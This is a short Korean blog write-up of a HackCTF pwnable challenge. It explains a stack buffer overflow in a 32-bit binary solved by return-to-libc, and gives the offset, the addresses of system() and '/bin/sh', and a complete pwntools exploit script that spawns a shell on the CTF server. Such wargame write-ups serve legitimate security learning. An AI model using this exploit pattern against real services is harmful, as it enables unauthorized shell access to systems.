32bit ELF
rtl로 푼다.
IDA를 이용해 system()의 주소와 "/bin/sh"의 주소를 쉽게 구할 수 있다.
"/bin/sh"는 main함수에 있는 "/bin/sh"을 따라가면 된다.
5번에서 bof가 일어난다.
buf의 위치는 bp-8C이다.
0x8C = 140
payload = dummy[140] +dummy sfp[4] + system() + dummy[4] + binsh
ex.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3010)
p.recvuntil(">>> ")
p.sendline("5")
p.recvuntil("> ")
binsh = 0x08048EB1
system = 0x080485B0
payload = "A"*144
payload += p32(system)
payload += "A"*4
payload += p32(binsh)
p.sendline(payload)
p.interactive()
|
cs |
nc 접속 > 5 입력 > payload 입력 > 쉘 획득!
'WAR GAME > HackCTF' 카테고리의 다른 글
HackCTF Pwnable [Basic_FSB] 풀이 (0) | 2019.08.30 |
---|---|
HackCTF Pwnable [BOF_PIE] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [Offset] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [Simple_Overflow_ver_2] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [x64 Simple_size_BOF] 풀이 (0) | 2019.08.30 |